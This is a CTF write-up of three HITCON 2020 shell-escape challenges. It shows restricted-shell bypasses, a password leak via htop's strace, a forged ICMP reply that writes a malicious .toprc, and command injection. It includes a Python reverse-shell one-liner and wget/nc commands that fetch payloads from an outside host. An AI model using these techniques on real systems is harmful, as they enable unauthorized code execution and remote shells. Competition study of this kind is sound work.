Rating:
# HITCON CTF 2020 Misc Challenges
This weeked I played HITCON CTF 2020 with the team [Organizers](https://ctftime.org/team/42934). Everyone put in an incredible effort and we were excited to place 5th among the best CTF teams in the world.

What follows are brief writeups of the very enjoyable Misc shell escape challenges. I learned a lot from these challenges and from sharing ideas with the rest of the team. Several others contributed to solving including jkr, Robin_Jadoul, mrtumble, esrever, and mev.
## oShell (280pts)
#### The Setup
- We login to an SSH session and have to provide a password and a token to launch a container isolated for our own team. `sshpass -p 'oshell' ssh [email protected]` makes this a little more comfortable.
- Typing `help`, we only have access to the following programs: `help exit id ping ping6 traceroute traceroute6 arp netstat top htop enable`
- The `enable` program looks interesting, and it prompts us for a password.
#### Tracing with htop
- We realise that `htop` has `strace` functionality built-in. In a second SSH session, we can type `s` when selecting the `oShell.py` process which is running `enable`, then see the password in the `readv` syscall there.
- Using tmux to copy and paste the password into the enable prompt unlocks two new programs `ifconfig` and `tcpdump`.
- There's a 5 minute timeout for our container, and the enable password changes each time, making this part of the challenge a little frustrating.
#### Command execution with toprc
- We need to find a way to execute an arbitrary command. We find that `top` uses an `.toprc` file which contains commands that can be used in an obscure "inspect mode", and has some unusual parsing rules which work in our favour.
- The first line of `.toprc` is ignored, then there's some settings that apparently need to exist, and then there's a line starting `Fixed_widest=0`. Anything appended after that line is ignored unless it matches a line format such as `pipe\txxx\tdate`. That line allows us to run the date command from within top by pressing `Yxxx` to enter "inspect mode".
- However currently we have no way to write arbitrary data to a file.
#### ICMP echo replies
- We know that we can write packet capture data with `tcpdump` using its `-w` flag, and that we can put data in ICMP packets using the `ping` command. But the busybox version of ping we have here only supports a single repeated byte in the payload field.
- The oShell machine does have outbound connectivity though. Therefore we can ping our own box, then forge an ICMP echo reply that contains an entire valid `.toprc` in the payload field.
- We can tcpdump this echo reply into the oShell user's `.toprc`. As long as the ICMP header doesn't includes a newline character, the packet data (up to the first newline) will be ignored and the `.toprc` packet capture will be valid.
- [This article](https://subscription.packtpub.com/book/networking_and_servers/9781786467454/1/ch01lvl1sec20/crafting-icmp-echo-replies-with-nping) is helpful in showing how to use nmap's `nping` to forge an echo reply. We should use `sudo bash -c 'echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all'` to disable normal ICMP echo replies from the kernel.
#### The exploit
- tcpdump command run on oShell: `tcpdump -i eth0 -w /home/oShell/.toprc -c1 src 46.101.55.21`. The `-c1` tells it to stop recording after a single packet.
- nping command run on our own box: `sudo nping --icmp -c 1 --icmp-type 0 --icmp-code 0 --source-ip 46.101.55.21 --dest-ip 54.150.148.61 --icmp-seq 0 --data $(cat oshell_payload | xxd -p | tr -d "\n") --icmp-id $ICMP_ID`.
- The ICMP ID must match the ID of the echo request packet (to pass through the networking stack on the oShell machine), so we also use `sudo tcpdump src 54.150.148.61 and icmp` on our own box to see the incoming ID and adjust the `nping` command accordingly.
- After sending the echo reply, run `top` and enter `Y`, then running the command should give a reverse shell! From there we can easily call `/readflag`. If it doesn't work there may have been a newline character in the ICMP echo reply header, so we just try again.
Flag: `hitcon{A! AAAAAAAAAAAA! SHAR~K!!!}`
## Baby Shock (201pts)
#### The Setup
- We type `help` and find the only available programs are `pwd ls mkdir netstat sort printf exit help id mount df du find history touch`
- We are inside a Python shell that applies restrictions on our standard input then executes them inside a `busybox sh`.
- After manual fuzzing, we find that all shell special characters are blocked apart from `.:;()`. It seems we can only use a single `.` in our command line.
- Our command line must start with one of the allowed programs, but there's not much we can do with them (since dash is blocked we can't use option flags).
#### Command separation
- We find we can use `;` to terminate a command then run a second command (this can optionally be done inside a subshell with `()`). The second command is not subject to the same program restrictions as the first one.
- So we can use `pwd ; nc 778385173 4444` to connect to our own server. Decimal IP notation means we can get around the restriction on more than one `.`.
- We can't plug netcat into a shell as we can't use `-e` or other techniques.
#### Wgetting a shell
- On our own box we can write a Python reverse shell payload to `index.html` and host it with `python3 -m http.server`:
```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("46.101.55.21",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
- Then we can `pwd ; wget 778385173:8000` to pull down our payload into the wget default filename `index.html`.
- We execute this with `pwd ; sh index.html` to get a reverse shell with no restrictions.
- From there we just call the `/getflag` binary.
Flag: `hitcon{i_Am_s0_m155_s3e11sh0ck}`
## Revenge of Baby Shock (230pts)
#### The Setup
- The same set of programs are allowed as the previous challenge, however this time we additionally cannot use `.` or `;`.
- Our previous payload therefore doesn't work at all.
#### Unexpected function definition
- We discover that we can define a shell function without using the conventional syntax. `pwd ()(echo hello)` then running `pwd` will echo hello. In fact, even `pwd () echo hello` works in the busybox sh, although not when tested locally in bash.
- The function assignment is permitted as we started our command line with an allowed program. The function we created takes precedence over the `pwd` shell builtin.
- Now we need to find a way to use arbitrary input to get a reverse shell. The previous `wget` payload won't work as we can't even use a single `.` this time to execute `index.html`.
#### Session recording with script
- We can open a `script` session to record our interactions inside the shell to a file (`pwd () script f` then `pwd`).
- Then we connect to our remote server with `pwd () nc 778385173 4444` and type the Python reverse shell payload in on our box.
- After exiting the session, we'll have a script file `f` including our payload but it will also have some bad lines like `Script started, file is f`
#### Cleaning up with vim
- We can use `vim` to edit the file! After opening Vim, our input is sent to it (after being parsed for restricted characters).
- For instance `du dd :wq` will delete a line then save the file. `du` is good to use here as it doesn't do anything in Vim.
- Once the file has been sufficiently cleaned up, it can be executed like in the previous challenge to give a shell.
Flag: `hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}`